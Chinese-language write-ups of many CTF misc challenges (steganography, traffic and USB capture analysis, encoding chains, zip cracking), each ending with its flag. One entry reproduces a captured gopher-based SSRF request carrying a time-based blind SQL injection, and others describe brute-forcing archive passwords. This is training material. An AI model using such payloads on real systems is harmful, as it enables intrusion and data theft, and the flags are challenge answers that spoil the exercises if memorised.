50 4B 03 0450 4B 01 02后面的01 00改成00 00后,再解压就不需要密码了

或者用ZipCenOp.jar跑一下,也能直接解压

flag在压缩包的图片中

flag{39281de6-fe64-11ea-adc1-0242ac120002}

Check/CTF(1)

本题目使用LSB隐写方式将flag的HTML编码形式嵌入了PNG图片中。

可以使用StegSolve提取出RGB三个通道的最低位信息

image-20221207150830883

而顶部是一串HTML编码

1
&#x66;&#x6c;&#x61;&#x67;&#x7b;&#x68;&#x30;&#x77;&#x5f;&#x34;&#x62;&#x6f;&#x75;&#x54;&#x5f;&#x65;&#x6e;&#x63;&#x30;&#x64;&#x65;&#x5f;&#x34;&#x6e;&#x64;&#x5f;&#x70;&#x6e;&#x47;&#x7d;

将该编码通过HTML解码后,得到flag

1
2
import html
print(html.unescape(str))

flag{h0w_4bouT_enc0de_4nd_pnG}

Wire1/CTF(1)

分析以下这个包,大概意思是某个人在盲注获得flag的值

image-20221207153502271

每个字符判断,当恰好正确的时候,下一个HTTP包的长度就会变成978,且这个人会继续测试下一个字符

最后得到所有字符的十进制是

1
102 108 97 103 123 119 49 114 101 115 104 65 82 75 95 101 122 95 49 115 110 116 105 116 125

转ascii得到flag

flag{w1reshARK_ez_1sntit}

Encode/CTF(1)

这一题有点抽象

密文是

1
4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35

rot13解密(这种里面数字加上OQRN的是Rot13加密)

这里不要用hiencode的rot13,因为它会自动转小写,然后后面的base16就无法解码

1
4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35

然后base16/HEX解密

1
KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5

然后base32解密

1
V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA==

然后base64解密

1
W^7?+dsi@bUwJTfUt=_GUvgz(F)?{xWo~0IWHD}MA$<

然后base85解密,这里所有在线的都不行

可以用CyberChef,ROT13-HEX-Base32-Base64-Base85/IPv6

image-20221207163257353

得到flag

flag{W0w_y0u_c4n_rea11y_enc0d1ng!}

1-misc/青岛华能(1)

附件是一个加密的压缩包

提示是偷偷告诉你,密码是出题人生日

那就爆破咯

用ARCHPR爆破,最开始以为只有月日,没想到还有年

image-20221207164438429

得到口令20001228,解压后又是一个加密的压缩包和一张图片(flag不在这)

说明这张图片肯定有问题

这张图片和压缩包内的CRC(循环冗余检验)的值是一样的,可以使用ARCHPR的明文攻击

image-20221207170256882

将图片压缩后导入明文文件路径然后开始攻击

这里可能会报错

image-20221207165633432

原因多半是已知文件再进行的压缩方式与待解密文件的压缩方式不同,使用winRAR可以进行调整压缩方式,也就是说需要用winrar压缩而不能用windows自带的压缩

等待亿会儿后就能获得结果了,得到解压后的文件

里面还有一个加密的压缩包,里面就是flag,提示是没有密码,真的没有密码!!

可能是伪加密,用ZipCenOp跑一下,得到flag

flag{159c6275f0015c037e70a118f25b9a99}

碎纸机11/CTF(1)

附件压缩包解压后有50张图片,根据题目描述我们从碎纸机里抢救回来了某个关键图片资料,你能帮我们修复它吗?,需要将50张图片拼起来。

拼图网站,设置参数后

image-20221207172631458

按时间升序顺序导入图片

png

解码就能得到flag

flag{You Can Repair A Picture From Splices Baesd On Entropy}

Let_god_knows/CTF(1)

stegsolve打开图片,没有隐写

看了大佬的WP,Red plane 0下有一个二维码??

image-20221208101254850

解码得到flag

flag{Ok@y!G0d_know5_n0w}

misc2-1/CTF(1)

附件里是一张图片,但是打不开,不支持这种格式

大佬的WP说根据这里可以看出来图片是逆序的??

image-20221208103141105

1
2
ebo tohP ohso SC p
obe Phot osho p CS=> obe Photoshop CS
1
2
3
4
5
6
7
8
f1=open("task_flag.jpg","rb").read()
f1_len=len(f1)
f2=open("1.jpg","ab")
i=0
while i<f1_len:
f2.write(f1[i:i+4][::-1])
i=i+4
f2.close()
1
2
3
4
5
b = a[i:j]   表示复制a[i]到a[j-1],以生成新的list对象
b = a[i:j:s]表示:i,j与上面的一样,但s表示步进,缺省为1.
所以a[i:j:1]相当于a[i:j]
当s<0时,i缺省时,默认为-1. j缺省时,默认为-len(a)-1
所以a[::-1]相当于 a[-1:-len(a)-1:-1],也就是从最后一个元素到第一个元素复制一遍,即倒序。

flag在1.jpg

flag{F098996689560BBB1B566EBC10D5E564}

pcap1/CTF(1)

导出HTTP对象,发现一个没有URL的,包序号是60

image-20221208162549943

筛选tcp contains "flag",追踪TCP流

image-20221208112331349

将下面的密文字符串rot13-base64-carsar后就能得到明文

值得注意的是,解密的时候需要根据密文的第一个数字来判断使用何种方式解密

1
2
3
4
5
6
7
8
9
10
def decode(pt, cnt=61):
for i in range(cnt):
c = pt[0]
if c == '1':
pt = rot13(pt[1:])
if c == '2':
pt = b64d(pt[1:]).decode()
if c == '3':
pt = caesar(pt[1:],-3)
print(pt)

flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

running/CTF(1)

查看属性,是自解压格式

image-20221212103944397

解压后得到

image-20221212104020609

文档里面是error,执行可执行文件,得到tif文件,用ps打开

把矩形隐藏,得到一串代码

image-20221212102237892

010Editor打开,在文件末尾可以看到

image-20221212104411976

1
run->njCp1HJBPLVTxcMhUHDPwE7mPW
1
2
3
4
5
6
s="njCp1HJBPLVTxcMhUHDPwE7mPW"
for num,i in enumerate(s):
if (num+1)%2==0:
print(chr(ord(i)+1),end="")
else:
print(chr(ord(i)-1),end="")
1
mkBq0IICOMUUwdLiTICQvF6nOX

得到flag

flag{mkBq0IICOMUUwdLiTICQvF6nOX}

流量分析1/GA(1)

http包

1
2
3
4
5
6
7
8
9
http://39.105.136.196:30025/index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2078%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%252740%2527%2529%252Csleep%25283%2529%252C0%2529%2520--%2520
URL解码后:
http://39.105.136.196:30025/index.php?url=gopher://127.0.0.1:80/_POST /admin.php HTTP/1.1
Host: localhost:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

id=1) and if((ascii(substr((select flag from flag),1,1))='40'),sleep(3),0) --

sql注入,只需要将所有正确的字符拼起来就行

http.time >= 3进行筛选

可以在导出HTTP的选项中筛选

1
flag%2529%252C 1 %252C1%2529%2529%253D%2527(去空格)
1
102 108 97 103 123 49 113 119 121 50 55 56 49 125

ascii得到flag

flag{1qwy2781}

津门杯2021-m1/津门杯(1)

stegsolve打开图片后提取文件信息,可以看到有base64密文

image-20221212105936357

1
ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0=

解密得到flag

flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}

m0_01/太湖杯(1)

这是USB

1
4字节为鼠标流量,8字节为键盘流量。

image-20221212111032214

导出该列后将第5、6位转16进制后根据转换成对应的键盘字符

1
mappings = { 0x04:"A",  0x05:"B",  0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G",  0x0B:"H", 0x0C:"I",  0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O",  0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5",  0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]",  0X2B:"    ", 0x2C:" ",  0x2D:"-", 0x2E:"=", 0x2F:"[",  0x30:"]",  0x31:"\\", 0x32:"~", 0x33:";",  0x34:"'", 0x36:",",  0x37:"." }

得到一串密文

1
884080810882108108821042084010421

只有01248,为云影加密,解密

1
THISISFLAG

得到flag

flag{THISISFLAG}

miss_01/太湖杯(1)

附件是一个加密的压缩包,没给密码提示,可能是伪加密

zipCenop.jar成功解密

这里也可以用winrar进行压缩包修复,也可以成功解密

在解压后的文档文件里,有一串base64编码

因为题目提示miss,所以这里可能会用到显示/隐藏编辑标记

image-20221212145057757

image-20221212145542771

希尔密码,解密得到

image-20221212145524578

然后把上面的那一串用rabbit解密,密钥是love and peaceee

1
U2FsdGVkX194m4B5HqBSGYPLTS4bywdKDJh13lrSj/OcwgSAoHBw9X/p2IdEtGx7EdJFR6rcjyPA+M+aKLZvqE7h7EBFA5LyHYk/5Cns4LV02vM7Dk+T70FlWOlJ3XeA9pJwFdAWzeN/0A74u+hLG/oLF1g3djo77yVTCBCs0r7khTOWahv0SYR33tHSq3YzJGTBS1Zsj2i/sGC8tTnNfsLl0SQ2JeTJhP/aNU2LmPVTyc3y4kTx+ysw8vasHwenWoBXFtOe2WkorJOCrqdQ8Qqd78TzZ0jRMv6MJO2ytUy/3mebHU9LAlWKFluNEh5t/cUVvtigLS6PquYRX5ziEx52HDkW+WgfRnum/AregLJ4c4f6AvG2gBjHVKO6sGEiuh59jcyN1SvsQEvXd7cOD/KWZjE5gqVGUJqXyhauqWPVYUlcuHH6abtQwNuDb+jZxMg5QaDzwPhpGRly7NhKU5OgCdhdK17TX7z2/RuNYj6pyfRYNZmQdOFl9B28+lawKO8l5b18WF5JV6chou7riwwDLqQrKMDjUUKZUtdMn0ReDQbR8reeqw/u+Lkyhl6w+222QWgQ2yRd2dhHb1kqNncUInAEqTPNKRBnia8F/+FycBv+KAwCFPwx9oNTFBYN4EJL/RjiXEkkSCnyH48VynuuOeX2uNlAti214mCbWWH+pxLn4PHIWf3JK819kiDcjqyQ5y3v+EUEr9Sb1WVwiITDW5XtzVP+Yr/IJ0ikl41zMu9BAQPermoa8hZJdE8mb3oSet+pAM7PtnyI7FGJ5Ynkpq05AiJMrN+UgV0E/ELc0UhWw3O0c4u+eYtQkzu/9+UCRy1Fi+QWFlO3cuWBA4GMGTE1FHWnqnZ683FwrM5bcb6TTu3/Q5sppFmqNrOX+ctx5b5xiYeSZ8XFI2ks6L7aFrQYu833GiERnIiZEX8vFqjdnD+tcuQ6Zg9Z7oxhATDP9H5d1e9IaxwOA/fDP0qvdKJ+OS5OPljnboywCPp7QqFHZfyC7d2GIraadSOL+eIwfavCqgfGwpWMW5H359IKZASi/HexzEcYrA7OZ8GzSxO9Lmk/ea4BD4JD2lawEIiDE7yhJApimzJ4IG8EMXFn/rOM3O2PkuSTKFsXu7/XZ3ozAJsPun5RJcMuUFXQX++DqXqe6Kbo/hEKwHETq0VbL6qEKkQKf5ce3i6tuZG8OqqPsye0Ku5D2LREqqGGysshULZWmvlx4u2FUtj4Xg==

解密后得到

1
LR2TMNLCGBOHKNDGGVRFY5JWGZTDAXDVMZTDCYK4OU4GCZRYLR2TSNTCHBOHKNJUMM4VY5JVGBSTOXDVHE3DIZC4OU2TIM3ELR2TQYLGHBOHKOJWGQYFY5JWGQ3DSXDVHE3GEOC4OU2TAZJXLR2TOZRTMROHKOBVME4VY5JVGRQTIXDVHAYDEOC4OU4GCZRYLR2TSNTCHBOHKNRRGY3VY5JVHA2WKXDVHAZDOMS4OU2WGMDBLR2TKNDDHFOHKODGMU3FY5JYMFSTMXDVG5QTOYK4OU3DENBQLR2TSNRUMROHKNRSGEYVY5JVMZTDKXDVHE3GEOC4OU3TSNJXLR2TQYLFGZOHKNLGMY2VY5JVGRRTSXDVHE3DIMC4OU2TMYRULR2TKNDDHFOHKNJWMM4VY5JUMZSWKXDVGU4TGN24OU4TMM3GLR2TMY3FGJOHKOBSG4ZFY5JYGM4GCXDVGVRGGMS4OU4GCZJWLR2TKOBVMVOHKNJUHEZFY5JYGM4GCXDVG43TGZK4OU3DEMJRLR2TKNDDHFOHKNRSGQYFY5JUMYYGMXDVHAYDKZK4OU4DKYJZLR2TSNTCHBOHKNRRGBSFY5JZGVRWIXDVGU2DGNS4OU3DENBQLR2TIZTFMVOHKNRWGJTFY5JYGI3TEXDVGY2DMOK4OU4GCMZWLR2TKNTCGROHKNJUMM4VY5JZHA2TQXDVGYYTAZC4OU2TIYZZLR2TKMZXGNOHKNDGMVSVY5JVGRRTSXDVG5QTOYK4OU4DOMLDLR2TSNRUGBOHKNJWMM4VY5JUMYYGMXDVGVTGMNK4OU2TIYZZLR2TMNBWHFOHKNJUMM4VY5JUMVQTMXDVHAZTQYK4OU2TIYZZLR2TONZTMVOHKNJUME2FY5JVHE4DEXDVHE4DKOC4OU2TSOBS

base32解密后得到

1
\u65b0\u4f5b\u66f0\uff1a\u8af8\u96b8\u54c9\u50e7\u964d\u543d\u8af8\u9640\u6469\u96b8\u50e7\u7f3d\u85a9\u54a4\u8028\u8af8\u96b8\u6167\u585e\u8272\u5c0a\u54c9\u8fe6\u8ae6\u7a7a\u6240\u964d\u6211\u5ff5\u96b8\u7957\u8ae6\u5ff5\u54c9\u9640\u56b4\u54c9\u56c9\u4fee\u5937\u963f\u6ce2\u8272\u838a\u5bc2\u8ae6\u585e\u5492\u838a\u773e\u6211\u54c9\u6240\u4f0f\u805e\u85a9\u96b8\u610d\u95cd\u5436\u6240\u4fee\u662f\u8272\u6469\u8a36\u56b4\u54c9\u9858\u610d\u54c9\u5373\u4fee\u54c9\u7a7a\u871c\u9640\u56c9\u4f0f\u5ff5\u54c9\u6469\u54c9\u4ea6\u838a\u54c9\u773e\u54a4\u5982\u9858\u5982

unicode解码得到

1
新佛曰:諸隸哉僧降吽諸陀摩隸僧缽薩咤耨諸隸慧塞色尊哉迦諦空所降我念隸祗諦念哉陀嚴哉囉修夷阿波色莊寂諦塞咒莊眾我哉所伏聞薩隸愍闍吶所修是色摩訶嚴哉願愍哉即修哉空蜜陀囉伏念哉摩哉亦莊哉眾咤如願如

新约佛论禅解密得到

1
Live beautifully, dream passionately, love completely.

将解密结果作为密码解压压缩包,得到音频

audacity中打开音频并查看频谱图

image-20221212151129097

得到flag

flag{m1sc_1s_funny2333}

Ditf/安恒9月赛(1)

附件是图片,stegsolve没有发现隐写

用binwalk分出了压缩包,不过加密了

zipCenOp.jar没有发现伪加密

这里需要修改文件的宽高,用010Editor打开文件

把高改成1300,得到密码

image-20221212153455358

e02c9de40be145dba6baa80ef1d270ba

1
StRe1izia

解压得到pcapng文件,wireshark打开

分组详情搜索png并追踪HTTP流,得到一串Base64编码

image-20221212154218577

1
ZmxhZ3tPel80bmRfSGlyMF9sb3YzX0ZvcjN2ZXJ9

解码得到flag

flag{Oz_4nd_Hir0_lov3_For3ver}

a_good_idea/NJUPT-CTF(1)

stegsolve没线索,binwalk分解

得到文本文件和两张图片,文本文件中有提示

1
try to find the secret of pixels

这里可以用stegsolve打开to_do.png,然后image combiner选择to.png

切换SUB通道后,得到二维码,扫码得到flag

NCTF{m1sc_1s_very_funny!!!}

Aesop_secret/ISCC(1)

分帧拼起来发现没啥用

可以用动态图片解析网站解析一下,不需要用ps拼

image-20221212163620277

stegsolve--file format,可以看到末尾有一串编码

1
U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==

用AES解密(为什么不是rabbit),密钥为ISCC

1
U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==

再解密一次,得到flag

1
flag{DugUpADiamondADeepDarkMine}

normal_png(1)

010Editor打开报error,图片可能被修改了宽高

image-20221212171500105

长度调成1075

得到flag

flag{B8B68DD7007B1E406F3DF624440D31E0}

glance-50/CTF(1)

动图解析网站导入gif,得到flag

TWCTF{Bliss by Charles O'Rear}

hit-the-core/CTF(1)

010Editor打开后搜索{

image-20221212173002909

1
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv}

其中前部分

1
cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc

可以看到其中包含大写字母ALEXCTF,且字符间距为5

按此规律把所有的字符挑出来,得到flag

ALEXCTF{K33P_7H3_g00D_w0rk_up}

reverseMe/XCTF(1)

把附件图片翻转(reverse)一下就能得到flag

flag{4f7548f93c7bef1dc6a0542cf04e796e}

misc_pic_again(1)

stegsolve打开后,Data extract发现前几位恰好是压缩包的格式

image-20221213093531903

save bin保存16进制并命名为1.zip

解压后用010Editor打开,根据题目描述:flag = hctf{[a-zA-Z0-9~]*}

搜索hctf,得到flag

image-20221213094258087

hctf{scxdc3tok3yb0ard4g41n~~~}

hong(1)

附件是一个音频文件,但是打开后提示不支持此类型,说明它应该不是一个mp3格式的文件

在kali中执行file hong.mp3,发现它确实不是

image-20221213095340520

binwalk分解,可以看到里面有两张图片

image-20221213095458400

使用dd工具分离

1
2
dd if=hong.mp3 of=1.jpg skip=82483 bs=1
dd if=hong.mp3 of=2.jpg skip=138170 bs=1

在2.jpg上可以得到flag

2

BCTF{cute&fat_cats_does_not_like_drinking}

Test-flag-please-ignore/CTF(1)

附件里包含一串字符

1
666c61677b68656c6c6f5f776f726c647d

这是16进制,转字符得到flag

flag{hello_world}

János-the-Ripper/CTF(1)

010Editor打开发现是压缩包

image-20221213101242795

改后缀后发现加密了,用zipcenop.jar发现是真加密

爆破试一下,得到口令

image-20221213102800385

解压得到flag

flag{ev3n::y0u::bru7us?!}

Erik-Baleog-and-Olaf/CTF(1)

010Editor打开发现是png格式

改后缀后用stegsolve打开

blue plane 1发现一个二维码

blue1

但是直接扫不出来,得ps一下(~~臣妾做不到啊~~~),然后扫描得到flag

1
flag{#justdiffit}

can_has_stdio?/CTF(1)

打开附件发现长这样

image-20221213111435453

这是BrainFuck编码,解码后得到flag

flag{esolangs_for_fun_and_profit}

Training-Stegano-1(1)

打开查看,发现有个passwd

image-20221213112438766

我以为是flag{steganoI},没想到flag就是

steganoI

simple_transfer/XCTF(1)

可能数据包出问题了?wireshark协议分级和其它人的结果不一样

用binwalk可以看到里面有pdf文件

image-20221213163725735

用dd工具分离一下

1
dd if=f9809647382a42e5bfb64d7d447b4099.pcap of=1.pdf skip=339380 bs=1

打开得到flag

HITB{b3d0e380e9c39352c667307d010775ca}

2017_Dating_in_Singapore/XCTF(1)

附件里是一个日历

题目描述:

1
01081522291516170310172431-050607132027262728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-04051213192625

这个描述可以分成十二行

1
2
3
4
5
6
7
8
9
10
11
12
01081522291516170310172431
050607132027262728
0102030209162330
02091623020310090910172423
02010814222930
0605041118252627
0203040310172431
0102030108152229151617
04050604111825181920
0108152229303124171003
261912052028211407
04051213192625

且每两位都不超过31,按照顺序连一下

image-20221213173319261

得到flag

HITB{CTFFUN}

pure_color/CTF(1)

stegsolve打开,在Gray bits可以得到flag

image-20221223094102772

flag{true_steganographers_doesnt_need_any_tools}

心仪的公司/世安杯(1)

wireshark打开,http contains "shell"筛选,追踪http流

key、flag、shell、pass

image-20221223101723058

得到flag

fl4g:{ftop_Is_Waiting_4_y}

适合作为桌面/世安杯(1)

stegsolve发现一个二维码

image-20221223103717159

扫描得到下列

1
053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

这是十六进制

image-20221223103800322

保存后发现有pypyt的字眼,可能是反编译

把它保存成pyc文件,用uncompyle反编译

1
uncompyle6 1.pyc >1.py

得到python文件

1
2
3
4
5
6
7
8
def flag():
str = [
102, 108, 97, 103, 123, 51, 56, 97, 53, 55, 48, 51, 50, 48, 56, 53, 52, 52, 49, 101, 55, 125]
flag = ''
for i in str:
flag += chr(i)

print flag

执行得到flag

flag{38a57032085441e7}

Banmabanma/世安杯(1)

斑马斑马

这看着像条形码,扫描得到(也可以在手机上扫)

1
FLAG IS TENSHINE

flag{TENSHINE}

真是阳间题/XSCTF联合招新赛(2)

image-20221223111544062

1
3207357975641587136122466514425152961654613410728337142271750273124995105747053991640817066352343657398947248938255086358418100814441196784643527787764297

转十六进制

1
3D3D3D3D513642475354334F4859464D37435A415450424F4454344348324D4E37434E36565A414F5A3358474859344B374B354144474E504553554355495A49

转ascii

1
====Q6BGST3OHYFM7CZATPBODT4CH2MN7CN6VZAOZ3XGHY4K7K5ADGNPESUCUIZI

反转

1
IZIUCUSEPNGDA5K7K4YHGX3ZOAZV6NC7NM2HC4TDOBPTAZC7MFYHO3TSGB6Q====

base32

1
FQARD{L0u_W0s_yp3_4_k4qrcp_0d_apwnr0}

凯撒

1
HSCTF{N0w_Y0u_ar3_4_m4ster_0f_crypt0}

Simple-Math/XSCTF联合招新赛(2)

image-20221223151355402

矩阵计算器求得[xi]为

image-20221223151404505

1
2
3
4
模2
0011011001
sha1
103c8041593b4b8e38971db283a7a773b0ffc2ee

XSCTF{103c8041593b4b8e38971db283a7a773b0ffc2ee}

BotW-/XSCTF联合招新赛(2)

binwalk拆解,可以看到有两张图片

image-20221223152901433

1
dd if=BotW.png of=bb.jpg skip=7236 bs=1

bb

题目提示MASTER USING IT AND YOU CAN HAVE THIS.

搜一下发现是塞尔达中的希卡文

img

1
YOU GET THE FLAG! FLAG IS CANZELDAGETDUPLEXBOW

flag要求:全小写,格式为flag{[a-z]*}

flag{canzeldagetduplexbow}

misc1/DDCTF(2)

题目描述

1
d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd

HEX解码失败

两两分开转10进制

1
212 232 225 244 160 247 225 243 160 230 225 243 244 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 196 196 195 212 198 251 185 225 230 179 227 185 228 179 183 183 226 182 177 228 178 182 185 226 177 177 179 179 183 230 179 179 176 227 185 179 181 230 253

发现比正常的字符的ascii码范围多了128

1
84 104 97 116 32 119 97 115 32 102 97 115 116 33 32 84 104 101 32 102 108 97 103 32 105 115 58 32 68 68 67 84 70 123 57 97 102 51 99 57 100 51 55 55 98 54 49 100 50 54 57 98 49 49 51 51 55 102 51 51 48 99 57 51 53 102 125

转ascii码得到flag

1
That was fast! The flag is: DDCTF{9af3c9d377b61d269b11337f330c935f}

low/世安杯(2)

参考

stegsolve打开看到,说明存在LSB隐写

image-20230105173837585

有一个方法是用画图工具打开图片后另存为png文件,然后stegsolve打开并切换到Red plane 0通道,可以看到二维码

image-20230105173636323

扫码得到flag

flag{139711e8e9ed545e}

神奇的Modbus/XCTF(2)

wireshark打开流量包,搜索分组字节流sctf,发现

image-20230105174641018

1
sctf{Easy_Mdbus}

但是作为flag输入错误,看题目,flag竟然是

sctf{Easy_Modbus}

小小的PDF/CTF(2)

binwalk一下

image-20230105175353557

dd分离一下

image-20230105175415258

image-20230105175426525

得到flag

SYC{so_so_so_easy}

Cephalopod/XCTF(2)

分组字节流搜索flag

image-20230106095414369

这里需要使用工具tcpxtract

1
tcpxtract -f  434c8c0ba659476caa9635b97f95600c.pcap

分离得到两张图片,其中一张包含flag

image-20230106100130872

HITB{95700d8aefdc1648b90a92f3a8460a2c}

Excaliflag/CTF(2)

stegsolve打开,切换Gray bits,就能看到flag

image-20230106100716419

3DS{Gr4b_Only_th1s_B1ts}

4-2/WDCTF(2)

1
2
Eg qnlyjtcnzydl z umaujejmjetg qeydsn eu z bsjdtx tw sgqtxegc al kdeqd mgeju tw yrzegjsoj zns nsyrzqsx kejd qeydsnjsoj
Ew ltm fgtk jds kzl tw sgqtxegc m kerr csj jds wrzc kdeqd eu qrzuueqzr-qeydsn_eu_gtj_usqmnejl_du

这里用到了字频分析

image-20230106101317542

image-20230106101257695

flag{classical-cipher_is_not_security_hs}

easycap/CTF(2)

wireshark追踪tcp

image-20230106101535533

1
FLAG:385b87afc8671dee07550290d16a8071

我以为flag格式是flag{},结果flag就是

FLAG:385b87afc8671dee07550290d16a8071

stage1/XCTF(2)

stegsolve打开后切换Gray bits通道

image-20230106101858096

扫描得到

1
03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

我以为要HEX解码,没想到要变成十六进制文件

image-20230106102247959

可以看到有pyt的字眼

将该文件保存为pyc文件后,使用uncompyle反编译

1
uncompyle6 1.pyc >1.py

得到python2代码

1
2
3
4
5
6
7
8
def flag():
str = [
65, 108, 112, 104, 97, 76, 97, 98]
flag = ''
for i in str:
flag += chr(i)

print flag

运行得到AlphaLab,而且flag就是

AlphaLab

Miscellaneous-200/CTF(2)

打开是一堆255

image-20230106103509581

这是RGB三原色的数值

1
2
3
4
5
6
7
8
9
10
11
12
13
from ast import literal_eval
from PIL import Image
f = open('62f4ea780ecf4e6bbef5f40d674ec073.txt', 'r')
corl = [literal_eval(line) for line in f.readlines()]
f.close()
img = Image.new('RGB', (270, 270), '#ffffff')
k=0
for i in range(246):
for j in range(246):
img.putpixel ([i , j], corl[k])
k=k+1
# 输出图片
img.save("flag.png")

跑一下大佬的代码,得到flag.png

flag

1
flag{ youc@n'tseeme }

Hear-with-your-Eyes/CTF(2)

题目描述:用眼睛听这段音频

Audacity打开音频,切换多视图

image-20230106104132221

1
flag:e5353bb7b57578bd4da1c898a8e2d767

e5353bb7b57578bd4da1c898a8e2d767

Hidden-Message/CTF(2)

wireshark追踪UDP

1
2
In contrast to classicas is a slightly looser term which may refer tor to 20th and 21st century physics in general and so always includes quantum theory and may assical level is a physical system in which thsics are valid There are application of classiassical physics is the  and molecules on upwards including the macrosrealm Inside the atom a and generally do not provide a correct descrimagnetic radiation is sect descriptions since quantum effects are obsy circumstances than qu Unlike quantum physicsby the principle of comechanics is in a sense deterministic
Mathematiwhich Plancks constant does not appear According to the correspondencsts theorem as a system becomes larger or morel dynamics tends to emerge with some exception This is why we can usuhanics when dealing witever one of the most vigorous ongoing fields os classicalquantum correspondence This field ohow the laws of quantum physics give rise to c
1
2
3
l physics modern physic just quantum physics oinclude relativity
A physical system on the cle laws of classical phye no restrictions on thcal principles but practically the scale of cllevel of isolated atomscopic and astronomical nd among atoms in a molecule the laws of classical physics break downption
Moreover the classical theory of electroomewhat limited in its ability to provide corrervable in more everydaantum effects of matter classical physics is generally characterized plete determinism although the Manyworlds interpretation of quantum mcally classical physics equations are ones in e principle and Ehrenfe massive action Plancks constant the classicas such as superfluidityally ignore quantum mech everyday objects instead the classical description will suffice Howf research in physics if research is concerned with the discovery of lassical physics in the limit of the large scales of the classical le

好像并没有什么用

image-20230106104825641

可以看到info是01相间的

1
10110111100110101001011010001100100110101001000110011101100110101000110110011000

这里要转换一下

1
01001000011001010110100101110011011001010110111001100010011001010111001001100111

转ascii,得到flag

1
Heisenberg

Recover-Deleted-File/CTF(2)

先用file命令看一下文件类型

image-20230106111024410

然后用fls命令查看文件操作记录

1
fls disk-image

image-20230106111111635

发现flag被删除,用extundelete工具恢复

1
extundelete disk-image --restore-all

恢复后有一个flag文件

cat查看发现可能是二进制文件

image-20230106111653833

执行发现没权限

image-20230106111642089

image-20230106111727047

得到flag

1
de6838252f95d3b9e803b28df33b4baa

What-is-this/CTF(2)

stegsolve把两张图片image combiner一下,得到flag

image-20230106112133614

1
AZADI TOWER

很普通的数独/ISCC(2)

25张图片,二十五个数独,应该不用全解开吧?

image-20230106112342158

不过闲的无聊也可以试试

Become_a_Rockstar/NJUPT-CTF(2)

CTFHUB

MYSQL流量

wireshark里打开附件,选择分组详情搜索字符串CTFHUB(因为该平台所有flag都是以该字符串开头)

然后就能得到flag

ctfhub{mysql_is_S0_E4sy}

Redis流量

这一题也是把附件在wireshark中打开,在分组字节流里搜索字符串CTFHUB,得到以下结果

image-20221205144506289

1
2
Fl4g1
ctfhub{6051d6123de43df

可以看到flag并不完整,只有左边大括号,而且标注了Fl4g1

尝试搜索fl4g2搜不到结果,搜索flag得到结果

image-20221205144721568

1
2
flag2
ad7609804925c0121}

把二者拼起来就能得到flag

ctfhub{6051d6123de43dfad7609804925c0121}

MongoDB流量

